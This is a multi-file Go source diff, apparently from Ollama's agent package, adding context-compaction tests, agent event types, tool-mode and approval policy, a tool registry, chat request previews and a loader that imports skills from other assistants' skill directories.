|
||||
alreadyTruncated := strings.Repeat("x", 7000) + "\n\n[tool output truncated: showing first ~100 tokens and last ~100 tokens; omitted ~99999 tokens. Use a narrower command, line range, or search query if more detail is needed.]\n\n" + strings.Repeat("y", 7000)
|
||||
body, err := compactionPrompt("", []api.Message{
|
||||
{Role: "user", Content: "what changed?"},
|
||||
{Role: "assistant", ToolCalls: []api.ToolCall{{
|
||||
ID: "call-1",
|
||||
Function: api.ToolCallFunction{
|
||||
Name: "bash",
|
||||
},
|
||||
}}},
|
||||
{Role: "tool", ToolName: "bash", ToolCallID: "call-1", Content: alreadyTruncated},
|
||||
}, 300)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if estimateCompactionTokens(body) > 300 {
|
||||
t.Fatalf("compaction prompt tokens = %d, want <= 300", estimateCompactionTokens(body))
|
||||
}
|
||||
if strings.Count(body, "x")+strings.Count(body, "y") >= 14_000 {
|
||||
t.Fatal("already-truncated tool output was not truncated again")
|
||||
}
|
||||
if !strings.Contains(body, "[tool output truncated: showing first ~") {
|
||||
t.Fatalf("truncation marker missing from compaction prompt: %q", body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCompactionSummaryTextStripsPrefix(t *testing.T) {
|
||||
content := compactionSummaryMessageForTask("worked on branch changes", false)
|
||||
if got := CompactionSummaryText(content); got != "worked on branch changes" {
|
||||
t.Fatalf("summary text = %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCompactionSummaryCanTellModelToContinueTask(t *testing.T) {
|
||||
content := compactionSummaryMessageForTask("worked on branch changes", true)
|
||||
if !strings.Contains(content, CompactionContinueInstruction) {
|
||||
t.Fatalf("summary message missing continue instruction: %q", content)
|
||||
}
|
||||
if got := CompactionSummaryText(content); got != "worked on branch changes" {
|
||||
t.Fatalf("summary text = %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveContextWindowTokensPrefersExplicitNumCtx(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
options map[string]any
|
||||
configured int
|
||||
want int
|
||||
}{
|
||||
{
|
||||
name: "explicit smaller num ctx",
|
||||
options: map[string]any{"num_ctx": 4096},
|
||||
configured: 8192,
|
||||
want: 4096,
|
||||
},
|
||||
{
|
||||
name: "explicit num ctx can exceed configured metadata",
|
||||
options: map[string]any{"num_ctx": 131072},
|
||||
configured: 8192,
|
||||
want: 131072,
|
||||
},
|
||||
{
|
||||
name: "metadata without explicit num ctx",
|
||||
configured: 32768,
|
||||
want: 32768,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
if got := ResolveContextWindowTokens(tt.options, tt.configured); got != tt.want {
|
||||
t.Fatalf("ResolveContextWindowTokens() = %d, want %d", got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorForceCompactsWithoutPromptEvalCount(t *testing.T) {
|
||||
client := &fakeClient{
|
||||
responses: [][]api.ChatResponse{{
|
||||
{Message: api.Message{Role: "assistant", Content: "forced summary"}},
|
||||
}},
|
||||
}
|
||||
compactor := NewSimpleCompactor(client, nil, CompactionOptions{
|
||||
ContextWindowTokens: 100,
|
||||
KeepUserTurns: 1,
|
||||
Threshold: 0.8,
|
||||
})
|
||||
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
Model: "model",
|
||||
Messages: []api.Message{
|
||||
{Role: "user", Content: "old"},
|
||||
{Role: "assistant", Content: "old answer"},
|
||||
{Role: "user", Content: "recent"},
|
||||
},
|
||||
Force: true,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !result.Due || !result.Compacted {
|
||||
t.Fatalf("forced compaction result = %#v", result)
|
||||
}
|
||||
if result.Summary != "forced summary" {
|
||||
t.Fatalf("summary = %q", result.Summary)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorDefaultsToKeepingThreeUserTurns(t *testing.T) {
|
||||
client := &fakeClient{
|
||||
responses: [][]api.ChatResponse{{
|
||||
{Message: api.Message{Role: "assistant", Content: "summary"}},
|
||||
}},
|
||||
}
|
||||
store := &compactionStore{}
|
||||
compactor := NewSimpleCompactor(client, store, CompactionOptions{
|
||||
ContextWindowTokens: 16000,
|
||||
Threshold: 0.5,
|
||||
})
|
||||
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
ChatID: "chat-1",
|
||||
Model: "model",
|
||||
Messages: []api.Message{
|
||||
{Role: "user", Content: "old"},
|
||||
{Role: "assistant", Content: "old answer"},
|
||||
{Role: "user", Content: "one"},
|
||||
{Role: "assistant", Content: "one answer"},
|
||||
{Role: "user", Content: "two"},
|
||||
{Role: "assistant", Content: "two answer"},
|
||||
{Role: "user", Content: "three"},
|
||||
},
|
||||
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !result.Compacted {
|
||||
t.Fatal("expected compaction")
|
||||
}
|
||||
if store.keepUserTurns != 3 {
|
||||
t.Fatalf("keepUserTurns = %d, want 3", store.keepUserTurns)
|
||||
}
|
||||
assertCompactionSummaryPair(t, result.Messages[:2])
|
||||
if got := result.Messages[2].Content; got != "one" {
|
||||
t.Fatalf("first kept turn = %q, want one", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorCarriesPreviousSummary(t *testing.T) {
|
||||
client := &fakeClient{
|
||||
responses: [][]api.ChatResponse{{
|
||||
{Message: api.Message{Role: "assistant", Content: "new summary"}},
|
||||
}},
|
||||
}
|
||||
compactor := NewSimpleCompactor(client, nil, CompactionOptions{
|
||||
ContextWindowTokens: 16000,
|
||||
KeepUserTurns: 1,
|
||||
Threshold: 0.5,
|
||||
})
|
||||
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
Model: "model",
|
||||
Messages: []api.Message{
|
||||
{Role: "system", Content: CompactionSummaryMessagePrefix + "old summary"},
|
||||
{Role: "user", Content: "old"},
|
||||
{Role: "assistant", Content: "old answer"},
|
||||
{Role: "user", Content: "recent"},
|
||||
},
|
||||
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !result.Compacted {
|
||||
t.Fatal("expected compaction")
|
||||
}
|
||||
if !strings.Contains(client.requests[0].Messages[1].Content, "Previous summary:\nold summary") {
|
||||
t.Fatalf("previous summary missing from request: %q", client.requests[0].Messages[1].Content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimpleCompactorCarriesPreviousToolSummaryAndPlacesNewSummaryBeforeKeptSuffix(t *testing.T) {
|
||||
client := &fakeClient{
|
||||
responses: [][]api.ChatResponse{{
|
||||
{Message: api.Message{Role: "assistant", Content: "new summary"}},
|
||||
}},
|
||||
}
|
||||
compactor := NewSimpleCompactor(client, nil, CompactionOptions{
|
||||
ContextWindowTokens: 16000,
|
||||
KeepUserTurns: 1,
|
||||
Threshold: 0.5,
|
||||
})
|
||||
|
||||
messages := []api.Message{
|
||||
{Role: "user", Content: "kept before old summary"},
|
||||
CompactionSummaryMessages("old summary", false)[0],
|
||||
CompactionSummaryMessages("old summary", false)[1],
|
||||
{Role: "user", Content: "latest request"},
|
||||
}
|
||||
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
|
||||
Model: "model",
|
||||
Messages: messages,
|
||||
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !result.Compacted {
|
||||
t.Fatal("expected compaction")
|
||||
}
|
||||
if !strings.Contains(client.requests[0].Messages[1].Content, "Previous summary:\nold summary") {
|
||||
t.Fatalf("previous summary missing from request: %q", client.requests[0].Messages[1].Content)
|
||||
}
|
||||
if len(result.Messages) != 3 {
|
||||
t.Fatalf("messages = %#v, want compaction pair plus latest request", result.Messages)
|
||||
}
|
||||
assertCompactionSummaryPair(t, result.Messages[:2])
|
||||
if result.Messages[2].Content != "latest request" {
|
||||
t.Fatalf("kept suffix = %#v", result.Messages)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
type EventType string
|
||||
|
||||
const (
|
||||
EventMessageStarted EventType = "message_started"
|
||||
EventMessageDelta EventType = "message_delta"
|
||||
EventThinkingDelta EventType = "thinking_delta"
|
||||
EventToolCallDetected EventType = "tool_call_detected"
|
||||
EventToolStarted EventType = "tool_started"
|
||||
EventToolFinished EventType = "tool_finished"
|
||||
EventToolsUnavailable EventType = "tools_unavailable"
|
||||
EventCompactionStarted EventType = "compaction_started"
|
||||
EventCompactionProgress EventType = "compaction_progress"
|
||||
EventCompacted EventType = "compacted"
|
||||
EventCompactionSkipped EventType = "compaction_skipped"
|
||||
EventLoopStep EventType = "loop_step"
|
||||
EventRequestBuilt EventType = "request_built"
|
||||
EventModelStreamDone EventType = "model_stream_done"
|
||||
EventRunFinished EventType = "run_finished"
|
||||
EventError EventType = "error"
|
||||
)
|
||||
|
||||
type Event struct {
|
||||
Type EventType `json:"type"`
|
||||
RunID string `json:"runId,omitempty"`
|
||||
ChatID string `json:"chatId,omitempty"`
|
||||
MessageID string `json:"messageId,omitempty"`
|
||||
Model string `json:"model,omitempty"`
|
||||
Status string `json:"status,omitempty"`
|
||||
ToolCallID string `json:"toolCallId,omitempty"`
|
||||
ToolName string `json:"toolName,omitempty"`
|
||||
WorkingDir string `json:"workingDir,omitempty"`
|
||||
Content string `json:"content,omitempty"`
|
||||
Thinking string `json:"thinking,omitempty"`
|
||||
ToolCalls []api.ToolCall `json:"toolCalls,omitempty"`
|
||||
Messages []api.Message `json:"messages,omitempty"`
|
||||
Args map[string]any `json:"args,omitempty"`
|
||||
Tokens int `json:"tokens,omitempty"`
|
||||
PromptTokens int `json:"promptTokens,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
StartedAt time.Time `json:"startedAt,omitempty"`
|
||||
FinishedAt time.Time `json:"finishedAt,omitempty"`
|
||||
Response *api.ChatResponse `json:"-"`
|
||||
}
|
||||
|
||||
type EventSink interface {
|
||||
Emit(Event) error
|
||||
}
|
||||
|
||||
type MultiEventSink []EventSink
|
||||
|
||||
func (s MultiEventSink) Emit(event Event) error {
|
||||
var firstErr error
|
||||
for _, sink := range s {
|
||||
if sink == nil {
|
||||
continue
|
||||
}
|
||||
if err := sink.Emit(event); err != nil && firstErr == nil {
|
||||
firstErr = err
|
||||
}
|
||||
}
|
||||
return firstErr
|
||||
}
|
||||
|
||||
type EventSinkFunc func(Event) error
|
||||
|
||||
func (fn EventSinkFunc) Emit(event Event) error {
|
||||
if fn == nil {
|
||||
return nil
|
||||
}
|
||||
return fn(event)
|
||||
}
|
||||
|
||||
func emit(sink EventSink, event Event) error {
|
||||
if sink == nil {
|
||||
return nil
|
||||
}
|
||||
return sink.Emit(event)
|
||||
}
|
||||
|
||||
func emitIgnoringCanceled(ctx context.Context, sink EventSink, event Event) error {
|
||||
err := emit(sink, event)
|
||||
if err != nil && ctx != nil && ctx.Err() != nil {
|
||||
//nolint:nilerr // Event sinks may close during cancellation; cancellation is not a user-facing emit failure.
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
@@ -0,0 +1,92 @@
|
||||
package agent
|
||||
|
||||
import "sync"
|
||||
|
||||
type ToolMode int
|
||||
|
||||
const (
|
||||
ToolModeReview ToolMode = iota
|
||||
ToolModeFullAccess
|
||||
ToolModeDisabled
|
||||
)
|
||||
|
||||
type RunPolicy struct {
|
||||
ToolMode ToolMode
|
||||
ApprovalPolicy ApprovalPolicy
|
||||
// MaxToolRounds limits consecutive model/tool cycles.
|
||||
// Zero uses the default guard; negative disables the guard for tests or
|
||||
// special callers.
|
||||
MaxToolRounds int
|
||||
}
|
||||
|
||||
func (p RunPolicy) UsesTools() bool {
|
||||
switch p.ToolMode {
|
||||
case ToolModeReview, ToolModeFullAccess:
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func (p RunPolicy) Tools(registry *Registry) *Registry {
|
||||
if !p.UsesTools() {
|
||||
return nil
|
||||
}
|
||||
return registry
|
||||
}
|
||||
|
||||
func (p RunPolicy) ApprovalHandler(prompter ApprovalPrompter) ApprovalHandler {
|
||||
if p.ToolMode == ToolModeFullAccess {
|
||||
return AutoAllowApproval{}
|
||||
}
|
||||
policy := p.ApprovalPolicy
|
||||
if policy == nil {
|
||||
policy = DefaultApprovalPolicy{}
|
||||
}
|
||||
return NewApprovalManager(ApprovalManagerOptions{
|
||||
Policy: policy,
|
||||
Prompter: prompter,
|
||||
})
|
||||
}
|
||||
|
||||
func (p RunPolicy) ReviewApprovalHandler(prompter ApprovalPrompter) ApprovalHandler {
|
||||
policy := p.ApprovalPolicy
|
||||
if policy == nil {
|
||||
policy = DefaultApprovalPolicy{}
|
||||
}
|
||||
return NewApprovalManager(ApprovalManagerOptions{
|
||||
Policy: policy,
|
||||
Prompter: prompter,
|
||||
})
|
||||
}
|
||||
|
||||
type RunPolicyState struct {
|
||||
mu sync.Mutex
|
||||
policy RunPolicy
|
||||
}
|
||||
|
||||
func NewRunPolicyState(policy RunPolicy) *RunPolicyState {
|
||||
return &RunPolicyState{policy: policy}
|
||||
}
|
||||
|
||||
func (s *RunPolicyState) Policy() RunPolicy {
|
||||
if s == nil {
|
||||
return RunPolicy{}
|
||||
}
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
return s.policy
|
||||
}
|
||||
|
||||
func (s *RunPolicyState) ToolMode() ToolMode {
|
||||
return s.Policy().ToolMode
|
||||
}
|
||||
|
||||
func (s *RunPolicyState) SetToolMode(mode ToolMode) {
|
||||
if s == nil {
|
||||
return
|
||||
}
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.policy.ToolMode = mode
|
||||
}
|
||||
@@ -0,0 +1,103 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
type ToolContext struct {
|
||||
WorkingDir string
|
||||
}
|
||||
|
||||
type ToolResult struct {
|
||||
Content string
|
||||
WorkingDir string
|
||||
}
|
||||
|
||||
type Tool interface {
|
||||
Name() string
|
||||
Description() string
|
||||
Schema() api.ToolFunction
|
||||
Execute(context.Context, ToolContext, map[string]any) (ToolResult, error)
|
||||
}
|
||||
|
||||
type ApprovalRequired interface {
|
||||
RequiresApproval(map[string]any) bool
|
||||
}
|
||||
|
||||
type Registry struct {
|
||||
tools map[string]Tool
|
||||
}
|
||||
|
||||
func NewRegistry() *Registry {
|
||||
return &Registry{tools: make(map[string]Tool)}
|
||||
}
|
||||
|
||||
func (r *Registry) Register(tool Tool) {
|
||||
if r == nil || tool == nil {
|
||||
return
|
||||
}
|
||||
r.tools[tool.Name()] = tool
|
||||
}
|
||||
|
||||
func (r *Registry) Has(name string) bool {
|
||||
if r == nil {
|
||||
return false
|
||||
}
|
||||
_, ok := r.tools[name]
|
||||
return ok
|
||||
}
|
||||
|
||||
func (r *Registry) Get(name string) (Tool, bool) {
|
||||
if r == nil {
|
||||
return nil, false
|
||||
}
|
||||
tool, ok := r.tools[name]
|
||||
return tool, ok
|
||||
}
|
||||
|
||||
func (r *Registry) Names() []string {
|
||||
if r == nil {
|
||||
return nil
|
||||
}
|
||||
names := make([]string, 0, len(r.tools))
|
||||
for name := range r.tools {
|
||||
names = append(names, name)
|
||||
}
|
||||
sort.Strings(names)
|
||||
return names
|
||||
}
|
||||
|
||||
func (r *Registry) Tools() api.Tools {
|
||||
names := r.Names()
|
||||
apiTools := make(api.Tools, 0, len(names))
|
||||
for _, name := range names {
|
||||
tool := r.tools[name]
|
||||
apiTools = append(apiTools, api.Tool{
|
||||
Type: "function",
|
||||
Function: tool.Schema(),
|
||||
})
|
||||
}
|
||||
return apiTools
|
||||
}
|
||||
|
||||
func (r *Registry) Execute(ctx context.Context, toolCtx ToolContext, call api.ToolCall) (ToolResult, error) {
|
||||
tool, ok := r.Get(call.Function.Name)
|
||||
if !ok {
|
||||
return ToolResult{}, fmt.Errorf("unknown tool: %s", call.Function.Name)
|
||||
}
|
||||
return tool.Execute(ctx, toolCtx, call.Function.Arguments.ToMap())
|
||||
}
|
||||
|
||||
func ToolRequiresApproval(tool Tool, args map[string]any) bool {
|
||||
if tool == nil {
|
||||
return false
|
||||
}
|
||||
if t, ok := tool.(ApprovalRequired); ok {
|
||||
return t.RequiresApproval(args)
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
// ChatRequestPreview is the request body plus the estimated prompt tokens for it.
|
||||
type ChatRequestPreview struct {
|
||||
Request api.ChatRequest
|
||||
PromptTokens int
|
||||
}
|
||||
|
||||
// BuildChatRequestPreview builds the chat request shape used for a run and its estimated prompt tokens.
|
||||
func BuildChatRequestPreview(opts RunOptions, messages []api.Message, tools api.Tools) ChatRequestPreview {
|
||||
return ChatRequestPreview{
|
||||
Request: buildChatRequest(opts, messages, tools),
|
||||
PromptTokens: EstimateChatRequestPromptTokens(opts, messages, tools),
|
||||
}
|
||||
}
|
||||
|
||||
// EstimateChatRequestPromptTokens estimates the prompt tokens for a chat request before sending it.
|
||||
func EstimateChatRequestPromptTokens(opts RunOptions, messages []api.Message, tools api.Tools) int {
|
||||
return estimateCompactionRequestTokens(CompactionRequest{
|
||||
SystemPrompt: opts.SystemPrompt,
|
||||
Messages: sanitizeMessagesForRequest(messages),
|
||||
Tools: tools,
|
||||
Format: opts.Format,
|
||||
Options: opts.Options,
|
||||
})
|
||||
}
|
||||
|
||||
func buildChatRequest(opts RunOptions, messages []api.Message, tools api.Tools) api.ChatRequest {
|
||||
requestMessages := sanitizeMessagesForRequest(messages)
|
||||
if strings.TrimSpace(opts.SystemPrompt) != "" {
|
||||
withSystem := make([]api.Message, 0, len(requestMessages)+1)
|
||||
withSystem = append(withSystem, api.Message{Role: "system", Content: opts.SystemPrompt})
|
||||
requestMessages = append(withSystem, requestMessages...)
|
||||
}
|
||||
|
||||
req := api.ChatRequest{
|
||||
Model: opts.Model,
|
||||
Messages: requestMessages,
|
||||
Format: json.RawMessage(chatRequestFormat(opts.Format)),
|
||||
Options: opts.Options,
|
||||
Think: opts.Think,
|
||||
}
|
||||
if opts.KeepAlive != nil {
|
||||
req.KeepAlive = opts.KeepAlive
|
||||
}
|
||||
if len(tools) > 0 {
|
||||
req.Tools = tools
|
||||
}
|
||||
return req
|
||||
}
|
||||
|
||||
func chatRequestFormat(format string) string {
|
||||
if format == "json" {
|
||||
return `"` + format + `"`
|
||||
}
|
||||
return format
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
func TestBuildChatRequestPreviewBuildsModelRequest(t *testing.T) {
|
||||
tools := api.Tools{{
|
||||
Type: "function",
|
||||
Function: api.ToolFunction{
|
||||
Name: "read",
|
||||
Description: "read a file",
|
||||
Parameters: api.ToolFunctionParameters{Type: "object"},
|
||||
},
|
||||
}}
|
||||
preview := BuildChatRequestPreview(RunOptions{
|
||||
Model: "llama3.2",
|
||||
SystemPrompt: "You are Ollama.",
|
||||
Format: "json",
|
||||
Options: map[string]any{"temperature": 0.1},
|
||||
}, []api.Message{{Role: "user", Content: "hello"}}, tools)
|
||||
|
||||
if preview.Request.Model != "llama3.2" {
|
||||
t.Fatalf("model = %q, want llama3.2", preview.Request.Model)
|
||||
}
|
||||
if got := string(preview.Request.Format); got != `"json"` {
|
||||
t.Fatalf("format = %q, want quoted json", got)
|
||||
}
|
||||
if len(preview.Request.Messages) != 2 {
|
||||
t.Fatalf("messages = %d, want 2", len(preview.Request.Messages))
|
||||
}
|
||||
if preview.Request.Messages[0].Role != "system" || preview.Request.Messages[0].Content != "You are Ollama." {
|
||||
t.Fatalf("system message = %#v", preview.Request.Messages[0])
|
||||
}
|
||||
if preview.Request.Messages[1].Role != "user" || preview.Request.Messages[1].Content != "hello" {
|
||||
t.Fatalf("user message = %#v", preview.Request.Messages[1])
|
||||
}
|
||||
if len(preview.Request.Tools) != 1 {
|
||||
t.Fatalf("tools = %d, want 1", len(preview.Request.Tools))
|
||||
}
|
||||
if preview.PromptTokens <= 0 {
|
||||
t.Fatalf("prompt tokens = %d, want positive", preview.PromptTokens)
|
||||
}
|
||||
}
|
||||
+1033
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,165 @@
|
||||
package skills
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type ImportResult struct {
|
||||
Source string
|
||||
Skill Skill
|
||||
From string
|
||||
To string
|
||||
Skipped bool
|
||||
Error string
|
||||
}
|
||||
|
||||
type skillDirCandidate struct {
|
||||
Dir string
|
||||
Skipped bool
|
||||
Error string
|
||||
}
|
||||
|
||||
func Import(source string, force bool) ([]ImportResult, error) {
|
||||
dest, err := DefaultDir()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return ImportToDir(source, dest, force)
|
||||
}
|
||||
|
||||
func ImportToDir(source, dest string, force bool) ([]ImportResult, error) {
|
||||
roots, err := SourceDirs(source)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := os.MkdirAll(dest, 0o755); err != nil {
|
||||
return nil, fmt.Errorf("create skills directory: %w", err)
|
||||
}
|
||||
|
||||
var results []ImportResult
|
||||
for _, root := range roots {
|
||||
candidates, err := skillDirs(root)
|
||||
if err != nil {
|
||||
if errors.Is(err, os.ErrNotExist) {
|
||||
continue
|
||||
}
|
||||
results = append(results, ImportResult{Source: source, From: root, Skipped: true, Error: err.Error()})
|
||||
continue
|
||||
}
|
||||
for _, candidate := range candidates {
|
||||
result := ImportResult{Source: source, From: candidate.Dir}
|
||||
if candidate.Skipped {
|
||||
result.Skipped = true
|
||||
result.Error = candidate.Error
|
||||
results = append(results, result)
|
||||
continue
|
||||
}
|
||||
|
||||
skill, err := ReadMetadata(filepath.Join(candidate.Dir, SkillFile))
|
||||
if err != nil {
|
||||
result.Skipped = true
|
||||
result.Error = err.Error()
|
||||
results = append(results, result)
|
||||
continue
|
||||
}
|
||||
|
||||
result.Skill = skill
|
||||
result.To = filepath.Join(dest, skill.Name)
|
||||
copyResult, err := copyDir(candidate.Dir, result.To, force)
|
||||
if errors.Is(err, os.ErrExist) {
|
||||
result.Skipped = true
|
||||
result.Error = "already exists"
|
||||
} else if err != nil {
|
||||
result.Skipped = true
|
||||
result.Error = err.Error()
|
||||
} else if len(copyResult.Skipped) > 0 {
|
||||
result.Error = "skipped symlinks: " + strings.Join(copyResult.Skipped, ", ")
|
||||
}
|
||||
results = append(results, result)
|
||||
}
|
||||
}
|
||||
|
||||
slices.SortFunc(results, func(a, b ImportResult) int {
|
||||
return strings.Compare(a.Skill.Name+a.From, b.Skill.Name+b.From)
|
||||
})
|
||||
return results, nil
|
||||
}
|
||||
|
||||
func SourceDirs(source string) ([]string, error) {
|
||||
source = strings.ToLower(strings.TrimSpace(source))
|
||||
if source == "" {
|
||||
source = "all"
|
||||
}
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("resolve home directory: %w", err)
|
||||
}
|
||||
|
||||
dirs := map[string][]string{
|
||||
"claude": {filepath.Join(home, ".claude", "skills")},
|
||||
"codex": {filepath.Join(home, ".codex", "skills")},
|
||||
"pi": {filepath.Join(home, ".pi", "skills"), filepath.Join(home, ".agents", "skills")},
|
||||
"agents": {filepath.Join(home, ".agents", "skills")},
|
||||
}
|
||||
if source == "all" {
|
||||
var all []string
|
||||
for _, name := range []string{"claude", "codex", "pi"} {
|
||||
all = append(all, dirs[name]...)
|
||||
}
|
||||
return uniqueStrings(all), nil
|
||||
}
|
||||
if roots, ok := dirs[source]; ok {
|
||||
return roots, nil
|
||||
}
|
||||
return nil, fmt.Errorf("unknown skill source %q (use claude, codex, pi, agents, or all)", source)
|
||||
}
|
||||
|
||||
func skillDirs(root string) ([]skillDirCandidate, error) {
|
||||
entries, err := os.ReadDir(root)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var dirs []skillDirCandidate
|
||||
for _, entry := range entries {
|
||||
if strings.HasPrefix(entry.Name(), ".") {
|
||||
continue
|
||||
}
|
||||
dir := filepath.Join(root, entry.Name())
|
||||
if entry.Type()&os.ModeSymlink != 0 {
|
||||
dirs = append(dirs, skillDirCandidate{
|
||||
Dir: dir,
|
||||
Skipped: true,
|
||||
Error: "symlinked skill directories are not supported",
|
||||
})
|
||||
continue
|
||||
}
|
||||
if !entry.IsDir() {
|
||||
continue
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(dir, SkillFile)); err == nil {
|
||||
dirs = append(dirs, skillDirCandidate{Dir: dir})
|
||||
}
|
||||
}
|
||||
slices.SortFunc(dirs, func(a, b skillDirCandidate) int {
|
||||
return strings.Compare(a.Dir, b.Dir)
|
||||
})
|
||||
return dirs, nil
|
||||
}
|
||||
|
||||
func uniqueStrings(values []string) []string {
|
||||
seen := make(map[string]bool)
|
||||
var out []string
|
||||
for _, value := range values {
|
||||
if seen[value] {
|
||||
continue
|
||||
}
|
||||
seen[value] = true
|
||||
out = append(out, value)
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,319 @@
|
||||
package skills
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"slices"
|
||||
"strings"
|
||||
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
const (
|
||||
SkillFile = "SKILL.md"
|
||||
maxSkillFileBytes = 1 << 20
|
||||
)
|
||||
|
||||
var validName = regexp.MustCompile(`^[a-z0-9][a-z0-9-]{0,63}$`)
|
||||
|
||||
type Skill struct {
|
||||
Name string
|
||||
Description string
|
||||
Dir string
|
||||
File string
|
||||
}
|
||||
|
||||
type Catalog struct {
|
||||
Dir string
|
||||
Skills []Skill
|
||||
Warnings []string
|
||||
}
|
||||
|
||||
type frontmatter struct {
|
||||
Name string `yaml:"name"`
|
||||
Description string `yaml:"description"`
|
||||
}
|
||||
|
||||
func DefaultDir() (string, error) {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("resolve home directory: %w", err)
|
||||
}
|
||||
return filepath.Join(home, ".ollama", "skills"), nil
|
||||
}
|
||||
|
||||
func LoadDefault() (*Catalog, error) {
|
||||
dir, err := DefaultDir()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return Load(dir)
|
||||
}
|
||||
|
||||
func Load(dir string) (*Catalog, error) {
|
||||
catalog := &Catalog{Dir: dir}
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
if errors.Is(err, os.ErrNotExist) {
|
||||
return catalog, nil
|
||||
}
|
||||
return nil, fmt.Errorf("read skills directory: %w", err)
|
||||
}
|
||||
|
||||
seen := make(map[string]string)
|
||||
for _, entry := range entries {
|
||||
if !entry.IsDir() || strings.HasPrefix(entry.Name(), ".") {
|
||||
continue
|
||||
}
|
||||
|
||||
skillDir := filepath.Join(dir, entry.Name())
|
||||
skill, err := ReadMetadata(filepath.Join(skillDir, SkillFile))
|
||||
if err != nil {
|
||||
catalog.Warnings = append(catalog.Warnings, fmt.Sprintf("%s: %v", skillDir, err))
|
||||
continue
|
||||
}
|
||||
skill.Dir = skillDir
|
||||
skill.File = filepath.Join(skillDir, SkillFile)
|
||||
if previous, ok := seen[skill.Name]; ok {
|
||||
catalog.Warnings = append(catalog.Warnings, fmt.Sprintf("%s: duplicate skill name %q already loaded from %s", skillDir, skill.Name, previous))
|
||||
continue
|
||||
}
|
||||
seen[skill.Name] = skillDir
|
||||
catalog.Skills = append(catalog.Skills, skill)
|
||||
}
|
||||
|
||||
slices.SortFunc(catalog.Skills, func(a, b Skill) int {
|
||||
return strings.Compare(a.Name, b.Name)
|
||||
})
|
||||
return catalog, nil
|
||||
}
|
||||
|
||||
func ReadMetadata(path string) (Skill, error) {
|
||||
data, err := readSkillFile(path)
|
||||
if err != nil {
|
||||
return Skill{}, err
|
||||
}
|
||||
|
||||
meta, _, err := parseSkillFile(data)
|
||||
if err != nil {
|
||||
return Skill{}, err
|
||||
}
|
||||
if err := validateMetadata(meta); err != nil {
|
||||
return Skill{}, err
|
||||
}
|
||||
return Skill{Name: meta.Name, Description: meta.Description}, nil
|
||||
}
|
||||
|
||||
func (c *Catalog) Empty() bool {
|
||||
return c == nil || len(c.Skills) == 0
|
||||
}
|
||||
|
||||
func (c *Catalog) Find(name string) (Skill, bool) {
|
||||
if c == nil {
|
||||
return Skill{}, false
|
||||
}
|
||||
name = NormalizeName(name)
|
||||
for _, skill := range c.Skills {
|
||||
if skill.Name == name {
|
||||
return skill, true
|
||||
}
|
||||
}
|
||||
return Skill{}, false
|
||||
}
|
||||
|
||||
